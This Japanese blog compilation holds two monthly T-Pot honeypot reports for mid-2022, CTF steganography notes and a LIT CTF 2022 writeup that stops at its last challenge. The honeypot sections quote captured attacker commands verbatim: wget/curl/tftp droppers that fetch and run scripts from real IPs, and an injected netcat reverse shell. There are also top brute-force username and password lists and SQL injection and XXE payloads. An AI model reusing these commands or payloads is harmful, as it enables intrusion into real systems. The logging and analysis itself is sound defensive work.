b1,rgb,lsb,xy       .. text: "aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xTmxsVnJtckhkTEhSZ1g2c1Y1MzlMMVp6Ym5SR0N2ZHIvdmlldz91c3A9c2hhcmluZw"
b1,bgr,lsb,xy       .. <wbStego size=1184705, data="9`Ym!\xCDcn\xC1\xB7"..., even=false, enc="wbStego 2.x/3.x", controlbyte="\x84">
b1,rgba,lsb,xy      .. text: ";1WWs9}W"
b2,r,lsb,xy         .. file: MIPSEB MIPS-III ECOFF executable not stripped - version 21.68
b2,r,msb,xy         .. text: ["U" repeated 17 times]
b2,g,msb,xy         .. text: "QTAETUUUUUUUUUUUUUUUUUPUUUU"
b2,b,msb,xy         .. text: "TQTUUUUUUUUUUUUUUUUUA"
b2,rgb,lsb,xy       .. file: Targa image data (4416-1284) 20752 x 5125 x 16 +1300 +16400 - right - interleave "\025A\005A\024E\024\005\024Q\024P\005\004\021D\021\005\005\021\024T\024\004\005\004\005A\024T\024\004\020\025\021\021\025\021\021A\005\004\005A\025\020\020P\005\004\021D\025"                                                                                                       
b3,b,msb,xy         .. file: StarOffice Gallery theme @\022 H\022\004\010\222\004, 16842751 objects, 1st \001
b4,r,msb,xy         .. text: "Db1@qVUC1Uu26b&@edf7waQ3wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww7SUU"
b4,g,lsb,xy         .. file: PEX Binary Archive
b4,g,msb,xy         .. text: "q6VwwW33swDD\"f1@p@"
b4,b,lsb,xy         .. file: Targa image data - Map 272 x 4353 x 16 +257 +4113 "\001\020\020\001\021\001\021"
b4,b,msb,xy         .. text: "$T1ww7wwwwww7SswS3U3333ww7W&sW7Uswwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww7SU5swS5wwwEc"
b4,rgb,lsb,xy       .. file: Novell LANalyzer capture file
b4,abgr,msb,xy      .. file: Applesoft BASIC program data, first line number 15

root@kali:# echo "aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xTmxsVnJtckhkTEhSZ1g2c1Y1MzlMMVp6Ym5SR0N2ZHIvdmlldz91c3A9c2hhcmluZw"| base64 -d
https://drive.google.com/file/d/1NllVrmrHdLHRgX6sV539L1ZzbnRGCvdr/view?usp=sharingbase64: 無効な入力

https://drive.google.com/file/d/1NllVrmrHdLHRgX6sV539L1ZzbnRGCvdr/view?usp=sharing



パスワード付きflag.txt.7zファイルのパスワードについて
問題途中のbr*infuckで確認できたメッセージ

Rhydon Togepi Milotic Machamp Tyrantrum Psyduck Mewtwo Pachirisu Altaria Magnezone P1k4cHu Dialga Gyarados Dragonite Eevee Luc4r10 Deoxys Zapdos Ch4r1zArD Rotom Gardevoir Unkn0Wn G0dz1lL4 Electrode Escavalier Garchomp Zygarde Blaziken Greninja

上記の内のLuc4r10で解凍すると2つ目のflagである_p4raM37eR_P0llu7iOnが確認できる。(G0dz1lL4はポケモンではないのでは...?)

ハニーポット運用(月次報告:2022年6月)

6月21日(火)にBIPROGY社の協力会社社員による大規模な情報漏洩事故が発生した。


コールセンターでのデータ移管作業用に尼崎市の全市民(約46万人分)の個人情報を含むUSBメモリーを就業先から持ち出した後、帰宅時に当該USBメモリーを入れたかばんの紛失したとの報道による発表がなされた。


本件にはUSBを用いた情報セキュリティ運用の典型的な例であり、身につまされる事故である。
考えられる問題点は以下の通り。

  • USBの持ち出しについて再委託先社員による持ち出し運用を尼崎市が把握しておらず、尼崎市が受託者に対してUSBメモリー持ち出時の許可を得る運用を徹底していなかったこと。
  • 情報の運搬にあたり、BIPROGY社の協力会社社員が個人でUSBメモリーを就業先から持ち出したこと。
  • BIPROGY社の協力会社社員によるUSBメモリーの運搬にあたり、適切な対応がとられていないこと。
  • 情報漏洩発生時に即座に関係先への情報連絡がなされず、BIPROGY社の協力会社社員が個人で捜索した後に情報連絡がなされたこと。

www.city.amagasaki.hyogo.jp

何はともあれ6/24に対象のUSBメモリーが発見されて良かったものである。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2022年6月10日-2022年6月30日
運用期間:20日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Ddospot 1,170,161 211,433
2 Cowrie 985,516 ▲610,883
3 Honeytrap 636,355 ▲272,039
4 Dionaea 392,151 34,410
5 Heralding 287,000 ▲548,748
6 Mailoney 27,384 11,345
7 Adbhoney 7,870 ▲6,428
8 Tanner 4,026 ▲2,634
9 Redishoneypot 2,426 ▲2,062
10 ConPot 1,840 ▲279
11 CitrixHoneypot 1,562 ▲1,322
12 Ciscoasa 1,501 ▲1,456
13 ElasticPot 693 ▲193
14 Ipphoney 149 ▲62
15 Medpot 120 ▲1,414
16 Dicompot 81 ▲75
  • Result
    • Ddospotへのアクセス数が増加していた。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Brazil 673,263 ↑(8)
2 United States 398,933 →(2)
3 China 386,464 →(3)
4 Netherlands 317,730 ↓(1)
5 Russia 163,777 ↓(4)
6 Japan 129,188 ↓(5)
7 Ireland 91,700 ↑(圏外)
8 India 63,168 ↑(10)
9 Vietnam 62,249 ↑(14)
10 United Kingdom 55,822 ↑(16)
11 Germany 51,174 ↓(6)
12 Singapore 47,327 ↓(11)
13 South Korea 38,781 ↓(12)
14 Bangladesh 32,478 ↑(圏外)
15 Indonesia 29,213 ↑(19)
16 Sweden 26,230 ↑(20)
17 France 25,208 ↓(13)
18 Hong Kong 24,849 →(18)
19 Panama 21,789 ↑(圏外)
20 Costa Rica 20,997 ↑(圏外)
  • Result
    • 集計期間が少ないこともあるがブラジルからのアクセス数が一時的に増加し、ニュージーランドおよび中国からのアクセスが減少した。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 162,184
2 CVE-2020-11910 3,393
3 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 45
4 CVE-1999-0016 1
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 71,677
2 sa 10,501
3 admin 7,972
4 nproc 3,682
5 user 2,176
6 (empty) 1,352
7 support 1,222
8 test 1,189
9 22 884
10 postgres 847
11 ubuntu 847
12 oracle 524
13 2Wire 449
14 !root 430
15 git 389
16 ftpuser 358
17 guest 319
18 www 295
19 adm 290
20 user2 263
21 mysql 257
22 666666 239
23 blank 236
24 0 235
25 debug 235
26 jenkins 228
27 unknown 228
28 administrator 227
29 $ALOC$ 223
30 ubnt 222
31 deploy 221
32 testuser 215
33 ftp 214
34 anonymous 208
35 minecraft 204
36 Admin 190
37 user1 190
38 db 183
39 web 177
40 wwwroot 172
41 test1 152
42 www-data 141
43 dev 135
44 server 132
45 tomcat 132
46 alex 126
47 nagios 126
48 hadoop 124
49 steam 122
50 ts3 122
  • Result
    • 先月から変更なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 123456 4,519
2 admin 4,313
3 nproc 3,682
4 (empty) 2,975
5 123 1,722
6 password 1,529
7 1234 1,435
8 1 1,326
9 12345 1,119
10 suport 727
11 blank 677
12 12345678 667
13 0 491
14 test 396
15 user 376
16 123456789 342
17 666666 318
18 123123 311
19 ubnt 304
20 support 301
21 root 291
22 master 282
23 1234567 268
24 alpine 262
25 P@ssw0rd 260
26 00000000 258
27 111111 247
28 qwerty 247
29 backup 246
30 1qaz2wsx 244
31 hi3518 232
32 unknown 231
33 synnet 227
34 10023 222
35 _Cisco 219
36 !ishtar 212
37 1q2w3e4r 206
38 admin123 204
39 Passw0rd 195
40 test123 192
41 abc123 190
42 passw0rd 190
43 bosco 172
44 Pa$$w0rd 171
45 p@ssw0rd 165
46 123qwe 164
47 1234567890 162
48 12 152
49 P@ssword 151
50 pa55word 147
  • Result
    • 先月から変更なし

⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • massscanのアクセス数が通常の月と比較して増加傾向にあった。6月30日に複数回のアクセスを確認した。

最後に

  • 情報漏洩事故が起こるとプロジェクト関係者の捜索隊が結成されて、関連先の一斉捜索が行われるのは今でも続いているのだろうか?情報漏洩事故の発生場所が大都市になればなるほど捜索範囲が広くて大変だった記憶がある。昔は新宿のコクーンタワーの真下の草むらに盗まれた財布がよく捨てられていたのだ。
  • 余談ではあるが、今回の情報漏洩事故を聞いて2022年4月1日に日本ユニシス社が社名変更していたのは驚いた。日本有数の大企業であっても常に変革が行われていることを実感するものである。

◆shファイルに関するアクセス

No アクセス内容 備考
1 /nig.sh rm -rf nig.sh; rm -rf miori.*; wget http://2.56.59.225/nig.sh || curl -O http://2.56.59.225/nig.sh || tftp 2.56.59.225 -c get nig.sh || tftp -g -r nig.sh 2.56.59.225; chmod 777 nig.sh;./nig.sh ssh; rm -rf nig.sh
2 /brokeskid.sh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://62.197.136.157/brokeskid.sh; chmod 777 *; sh brokeskid.sh; tftp -g 62.197.136.157 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c
3 /epgrec/do-record.sh EPGrecは録画予約システムのWebアプリケーション
4 /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh ---

◆exeファイルに関するアクセス

No アクセス内容 備考
1 /s.exe ---

ハニーポット運用(月次報告:2022年5月)

  • 現地時間の5月26日にBroadcom社がVMware社を約 610 億ドルにて買収した。
  • VMware社自体は1998年に創業後、2004年にEMC社に買収され、2015年にDell社に約670億ドルで買収されている。Dell社は2021年にVMwareを新会社として独立させていることから、紆余曲折があったもののまた買収されるようだ。
  • VMware社自体は2022年度に赤字経営に傾いており、VMware社側にとってもメリットがある。VMware製品を利用するユーザへの影響は最小限に抑えられることを願う。

参考URL:
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/company/vmware-broadcom.pdf



T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2022年5月1日-2021年5月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,596,399 -56,518
2 Ddospot 958,728 727,589
3 Honeytrap 908,394 107,980
4 Heralding 835,748 158,867
5 Dionaea 357,741 14,016
6 Mailoney 16,039 -98,271
7 Adbhoney 14,298 1,686
8 Tanner 6,660 1,560
9 Redishoneypot 4,488 2,941
10 Ciscoasa 2,957 183
11 CitrixHoneypot 2,884 1,097
12 ConPot 2,119 -158
13 Medpot 1,534 577
14 ElasticPot 886 122
15 Ipphoney 211 128
16 Dicompot 156 53
  • Result
    • Ddospot、Honeytrap、Heraldingのアクセス件数が増加していた。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Netherlands 735,190 1(→)
2 UnitedStates 657,151 4(↑)
3 China 616,852 3(→)
4 Russia 428,832 2(↓)
5 Japan 277,748 10(↑)
6 Germany 182,942 15(↑)
7 Bangladesh 103,276 圏外(↑)
8 Brazil 102,983 13(↑)
9 Palestine 92,606 圏外(↑)
10 India 91,008 9(↓)
11 Singapore 89,891 8(↓)
12 SouthKorea 84,615 14(↑)
13 France 82,374 6(↓)
14 Vietnam 77,827 11(↓)
15 Romania 75,820 圏外(↑)
16 UnitedKingdom 72,204 20(↑)
17 SouthAfrica 70,191 圏外(↑)
18 HongKong 53,616 圏外(↑)
19 Indonesia 47,570 17(↓)
20 Sweden 31,900 19(↓)
  • Result
    • ロシアからのアクセスが減少した一方でアメリカからのアクセスが増えていた。
    • 日本からのアクセスも増加傾向にあった。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 173,085
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 59
3 CVE-2020-11910 28
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 127,653
2 sa 16,527
3 admin 8,218
4 user 6,096
5 nproc 6,087
6 test 3,515
7 2,212
8 postgres 1,680
9 22 1,307
10 ubuntu 1,293
11 oracle 812
12 ftpuser 687
13 2Wire 665
14 git 655
15 !root 653
16 support 578
17 www 518
18 guest 498
19 web 440
20 mysql 432
21 ftp 406
22 adm 391
23 student 356
24 deploy 354
25 debug 340
26 666666 334
27 minecraft 334
28 testuser 329
29 0 328
30 $ALOC$ 325
31 administrator 325
32 blank 321
33 unknown 321
34 user1 309
35 anonymous 293
36 teamspeak 278
37 hadoop 268
38 Admin 266
39 data 258
40 jenkins 257
41 server 256
42 db 246
43 wwwroot 244
44 www-data 242
45 tomcat 231
46 ts3 226
47 nagios 218
48 test1 215
49 dev 186
50 pi 169
  • Result
    • 先月から変更なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 nproc 6,087
2 123456 6,086
3 3,819
4 admin 3,324
5 1 2,900
6 password 2,393
7 123 2,191
8 12345 1,437
9 1234 1,412
10 12345678 1,076
11 root 1,046
12 blank 987
13 0 764
14 test 694
15 user 534
16 123123 526
17 qwerty 521
18 666666 505
19 111111 461
20 1q2w3e4r 455
21 123456789 454
22 ubnt 427
23 00000000 418
24 master 417
25 1qaz2wsx 412
26 pass 403
27 alpine 396
28 abc123 389
29 support 384
30 backup 377
31 1234567 364
32 hi3518 340
33 123qwe 335
34 P@ssw0rd 325
35 admin123 308
36 _Cisco 304
37 10023 302
38 synnet 297
39 unknown 297
40 !ishtar 294
41 test123 282
42 1234567890 272
43 p@ssw0rd 259
44 1qaz@WSX 218
45 q1w2e3r4 217
46 123321 216
47 password123 203
48 Passw0rd 190
49 qwe123 190
50 changeme 186
  • Result
    • changeme(50位)はsplunkの管理者ユーザである「splunkadmin」アカウントのパスワードのようだ。利用に際しては注意が必要である。
      jp.tenable.com

    • 過去のパスワード関連の記事を見るとパスワード運用の本質は10年以上前から変わっていないことが分かる。 www.itmedia.co.jp


⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • MS-MSDT/Follina(CVE-2022-30190)の脆弱性にてOfficeを開いただけでRCEが発生する事象が発生しているとのこと。
  • セキュリティの古典である『カッコウはコンピュータに卵を産む』 がtwitterで紹介されていたので今度読んでみたいと思う。
◆shファイルに関するアクセス
"cd /tmp ; wget 46.105.83.253/ok.sh ; sh ok.sh ; rm -rf ok.sh ; curl -O 46.105.83.253/ok.sh ; sh ok.sh ; rm -rf ok.sh ; history -c ; yum remove wget -y ; yum install wget -y ; apt-get remove wget -y ; apt-get install wget -y ; wget 46.105.83.253/ok.sh ; sh ok.sh ; rm -rf ok.sh

wget http://204.15.75.59/jwsn.sh

"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.161.17.72/ISIS.sh; chmod 777 *; sh ISIS.sh; tftp -g 103.161.17.72 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c"

/incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%20193.124.7.9%2031337%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e

"cd /data/local/tmp/; busybox wget http://194.31.98.205/w.sh; sh w.sh; curl http://194.31.98.205/c.sh; sh c.sh",


◆exeファイルに関するアクセス
なし

Lexington Informatics Tournament CTF 2022 - Writeup

2022年7月22日, 15:00 UTC - 7月25日, 03:59 UTCに開催されたLexington Informatics Tournament CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で10問解いたので、以下にWriteupを記載する。

Chiper

Running Up That Hill

If I only could, I'd make a deal with god, and I'd get him to swap our places.

attachment : RunningUpThatHill.zip


指定されたURLへアクセスすると添付のようなメッセージが表示される。

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}

5 19 27
10 19 24
11 6 16

A8FC7A{H7_ZODCEND_8F_CCQV_RTTVHD}


問題文から3×3のHill暗号と予測する。onlineのデコーダにくわせるとflagが確認できる。

flag : LITCTF{B3_RUNN1NG_UP_TH4T_H1LLLL}


Web

Personal Website

CodeTiger
I am Esther Man, a brilliant student at Lexington High School. Welcome to my personal(http://litctf.live:31777/) website <3 <3 <3


指定されたURLへアクセスするとバイオリンと女の子、AmongUsのキャラクターの画像が表示される。


ソースコードを見るとtopページとstyle.cssjavascript.jsにflagが記載されている。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/ | grep _
 
 <中略>

        <p>HAHAHAHAHAHAHAHAHAHA I know you will never reach the bottom here because of my infinite scroll. If you somehow did, here is the first third of the half LITCTF{E5th3r_M4n</p>

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/style.css | grep _
 
 <中略>

        /* _i5_s0_OTZ_0TZ_OFZ_4t_ */

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/javascript.js | grep _ 
 
 <中略>

    // 3v3ryth1ng_sh3_d03s}
    if(Math.random() < 0.5) $("#container").append('<button class="secretButton"><a href="https://www.youtube.com/watch?v=iik25wqIuFo&ab_channel=Rickrol2Cbutwithadifferentlink" class="secret">Click here to see my biggest secret</a></button>');


flag : LITCTF{E5th3r_M4n_i5_s0_OTZ_0TZ_OFZ_4t_3v3ryth1ng_sh3_d03s}



Kevin's Cookies

CodeTiger
Welcome to Kevin Zhu's cookie store!(http://litctf.live:31778/) I heard he sells many super delicious cookies :yum:


指定されたURLへアクセスするとCookieの画像が表示されたWebサイトが表示される。

Cookieを確認するとlikeCookie=falseが設定されている。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31778/
[sudo] kali のパスワード:
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> 

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>I have so many cookies to share with you. Unfortunately, judging from your current cookies, it seems like you do not like any cookies 🍪 :<. Thus I will not bother giving you any</p>


likeCookie=trueに変えるとメッセージが変わる。1~20の数字のいずれかをlikeCookieに指定すれば良さそうだ。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v -b "likeCookie=true" http://litctf.live:31778/
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: likeCookie=true
> 

<!DOCTYPE HTML>
<html>
    <head>
        <title>Kevin Zhu's favorite cookies</title>

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>Oh silly you. What do you mean you like a true cookie? I have 20 cookies numbered from 1 to 20, and all of them are made from super true authentic recipes.</p>


likeCookieに17を指定した際にflagが表示される。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v -b likeCookie=17 http://litctf.live:31778/
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: likeCookie=17
> 

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>Omg, I too love the 17th cookie. We must share a special connection ❤! Just for you, I will add something special along with the cookie 🍪, here <b>LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}</b>. Don't let the other customers know tho, they won't be happy.</p>
            <img src="https://cwatch.comodo.com/blog/wp-content/uploads/2020/05/what-are-cookies.png" style="width: 100%">


flag : LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}



Guess The Pokemon

Stephanie
Have you heard the new trending game? GUESS THE POKEMON!!!(http://litctf.live:31772/) Please come try out our vast database of pokemons.


指定されたURLへアクセスするとpokemonを検索するWebサイトが表示される。

ソースコードを確認するとフロントエンドがpython+flask、バックエンドがsqlite3のWebサイト構成であり、pokemonテーブル内の何かのpokemonを検索するとflagの値が応答される。検索の際に'(シングルクォート)と(バックスラッシュ)と"(ダブルクォート)はfilterされる。

filterされる文字列を使わずに1 or 1=1 --を入力するとflagが表示された。

flag : LITCTF{flagr3l4t3dt0pok3m0n0rsom3th1ng1dk}


Among Us

CodeTiger
Hello! I am Polopopy, and my friends like to call me Ryan. I have an unhealthy fetichobsession with Among Us, so I made this website(http://litctf.live:31779/) to demonstrate my unyielding enthusiasm!


指定されたURLへアクセスするとAmong USのキャラクターの画像とメッセージが表示される。

ソースコードを確認すると、Secret Link To The Flagというリンクがあるがダミーの動画が表示されるだけだった。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31779/ 

<head>
    <title>I LOVE AMONG US</title>
</head>
<body>
    <div>
        <a style="color: white;font-size: 30px;" href="https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley">Secret Link To The Flag</a><br>
        <h1>About Me</h1>
        <p style="color: magenta; font-size: 20px; font-weight: 600">Hello! I am Polopopy, and my friends like to call me Ryan. I have an unhealthy <s>fetich</s>obsession with Among Us, so I made this website to demonstrate my unyielding enthuasiasm!</p>
        <h1 class="sus">Here is some of my Fan Fiction that I dream about at night.</h1>
        <p class="sus"><b>That's right. I am the IMPOSTER. I just killed my boss. I now had to convince everyone that I wasn't the imposter. "Chad is the imposter!" I randomly yelled out. Another coworker said "Well, I did see him running towards the stairs/elevator. "Wait, think about this!" Chad stated. "How do you know I'm the murderer? It could be him!" "Hmm.." My coworker, John, said. "Why do you think it's him, Darrius?" "Well," I started, "The same reason as you. I saw him running towards the elevator when the killing happened. "Wait, wait, wait!" Angelica proclaimed. "How do we know it happened on the top floor?" Another coworker, Adam, pointed out the window towards the paramedics wrapping up my boss' mangled corpse in a body bag." Oh!" Angelica said." That's a bit sussy," I said. "I think it must have been Angelica, she's pretending she doesn't know anything?" "Hmm, you might be right." My coworker Dave spoke up. "But I think that it might be you, Darrius." "Wait woah woah, why is it me?" I defended myself. He said "I saw you enter the elevator right before the murderer hit!" He said. Shit. he's onto me." Woah, you could be lying! I was in my cubicle doing my office work!" I yelled back." Oh really, what were you doing?" Dave said." I was uh.. scanning for viruses on my computer!" "Hmm.. okay." "I think that we should get rid of Liam." Angelica proclaimed. "Woah woah woah, pretty lady! Why do you think that?" He quickly hopped to his defense. "I haven't been a part of this discussion at all!" "Well, you're pale, and you work on the closest floor to the boss." Angelica replies. "Yeah, that's sus, Liam." I said. "We should get rid of him." "I agree." Chad said." Me too!" Adam said." Me three!" John said. And so we decided to throw him out the window.</b></p>

        <p class="sus"><b>Now let's say hypothetically I was the impostor. How would I get from reactor to medbay in that timespan, from which we saw each other, till you found yellow dead. Also if I were the impostor hypothetically speaking, how would I have finished all my tasks.</b></p>

    </div>
    <div>
        <h1 style="color: yellow">Sussy Yellow</h1>
        <p style="color: magenta; font-size: 20px; font-weight: 600">
            Not gonna lie, yellow do be looking super sussy!!! With how adept he is at the rotating movement and how he's hiding his head, HE MUST BE HIDING SOMETHING!!!!!
        </p>
    </div>
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">

    <div>
        <p class="suspicious">ඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞ</p>


BurpSuiteで処理を追っていたら/sussy-yellow-amogus へGETリクエストを投げた際のheader情報にflagが記載されていた。

flag : LITCTF{mr_r4y_h4n_m4y_b3_su55y_bu7_4t_l3ast_h3s_OTZOTZOTZ}



CTF

CodeTiger
Woah, a Capture The Flag challenge(http://litctf.live:31780/), where players capture each other's flags, in a tournament called Capture The Flag? This is so original :O I do need a break from the standard web anyway I guess.


指定されたURLへアクセスするとCTFdのような画面が表示される。

昨日適当なユーザを作成していたが、プロファイル画面にflagがみえてしまっていた。問題としてはImaginaryCTF 2022のDemocracyと同じ考え方と考えられる。

flag : LITCTF{CTF_1n_a_CTF?_W0AH_TH1S_I5_l1k3_s0_cr34t1v3}



EYANGCH Fan Art Maker

CodeTiger
I am biggest fan of Eyang OTZ OTZ OTZ, which is why I built this EYANGCH Fan Art Maker(http://litctf.live:31775/)


指定されたURLへアクセスするとXML形式のファイルを画像変換するサイトが表示される。


入力欄に何も入力せずにsubmitを押すとflagを含む画像が表示されるが青い太線が邪魔してflag全体が見えないようになっている。


XMLといえばXXEなので以下の入力処理を試してみる

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>


エラーがでて失敗。エラー内容からDOCTYPE element は使えないらしい。


添付ファイルのmain.jsを確認するとPOST処理にてcodeで受け取った処理を最後のgenerateArt(code,res)で画像変換している。 この時のcode = "" + flag + eyangComp + code + "";にてPOST処理で渡すcodeの値は一番最後に指定されており 画像の内容は後から上書きできることが分かる。

require("dotenv").config();

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const ejs = require("ejs");
const {component, parseXML, generateArt} = require("./canvasMaker.js");

app.use(bodyParser.urlencoded({ extended: true }));

app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render("index");
});

app.post('/makeArt', (req, res) => {
    var code = req.body.code;

    var flag = `
<component name="flag">
    <text color="black" font="bold 10pt Arial">` + (process.env.FLAG ?? "ctf{flag}") + `</text>
</component>

<flag x="100" y="400"></flag>
    `;

    var eyangComp = `
<component name="EYANGOTZ">
    <component name="eyes1">
        <line x1="10" y1="80" x2="30" y2="60" color="#1089f5" width="20"></line>
        <line x1="30" y1="60" x2="60" y2="70" color="#1089f5" width="20"></line>
    </component>
    <component name="eyes2">
        <line x1="110" y1="50" x2="130" y2="30" color="#1089f5" width="20"></line>
        <line x1="130" y1="30" x2="160" y2="40" color="#1089f5" width="20"></line>
    </component>
    <component name="mouth">
        <line x1="40" y1="200" x2="50" y2="220" color="#1089f5" width="20"></line>
        <line x1="50" y1="220" x2="190" y2="200" color="#1089f5" width="20"></line>
        <line x1="190" y1="200" x2="200" y2="180" color="#1089f5" width="20"></line>
    </component>
    <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text>
</component>
<EYANGOTZ x="10" y="50"></EYANGOTZ>
<EYANGOTZ x="350" y="100"></EYANGOTZ>
<EYANGOTZ x="50" y="190"></EYANGOTZ>
<EYANGOTZ x="130" y="200"></EYANGOTZ>
<EYANGOTZ x="200" y="190"></EYANGOTZ>
<EYANGOTZ x="150" y="300"></EYANGOTZ>
    `

    code = "<fanart>" + flag + eyangComp + code + "</fanart>";

    generateArt(code,res);
});

app.listen(8080, () => {
    console.log("EYANG OTZ OTZ OTZ OTZ!!!");
});


ソースコードの値を元に以下を入力してみる。
・お邪魔の青い線の太さを0に
・お邪魔の青い線の色見を白に

<component name="EYANGOTZ">
    <component name="eyes1">
        <line x1="10" y1="80" x2="30" y2="60" color="#FFFFFF" width="0"></line>
        <line x1="30" y1="60" x2="60" y2="70" color="#FFFFFF" width="0"></line>
    </component>
    <component name="eyes2">
        <line x1="110" y1="50" x2="130" y2="30" color="#FFFFFF" width="0"></line>
        <line x1="130" y1="30" x2="160" y2="40" color="#FFFFFF" width="0"></line>
    </component>
    <component name="mouth">
        <line x1="40" y1="200" x2="50" y2="220" color="#FFFFFF" width="0"></line>
        <line x1="50" y1="220" x2="190" y2="200" color="#FFFFFF" width="0"></line>
        <line x1="190" y1="200" x2="200" y2="180" color="#FFFFFF" width="0"></line>
    </component>
    <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text>
</component>


上記を入力するとflag文字列が確認できるようになる。

flag : LITCTF{wh4t_d03s_CH_1n_EyangCH_m3an???}



EYANGCH Fan Art Maker 2.0

CodeTiger
Unfortunately the last Fan Art maker had an unintended extremely easy solution. Frankly I am disappointed by people's willingness to take the easy route when it comes to ORZing Eyang. To make up for it, here is more EYANG OTZ OTZ OTZ(http://litctf.live:45392/)


EYANGCH Fan Art Maker と全く同じ解き方で解ける。

flag : LLITCTF{3y4ngCH_15_l1k3_ju5t_s0_g3n10sit4}



Amy The Hedgehog

Stephanie
Hi guys! I just learned sqlite3 build my own websiteeee. Come visit my my website(http://litctf.live:31770/) pleaseeee i am ami the dhedghog!!! :3 ( ◡‿◡ *)


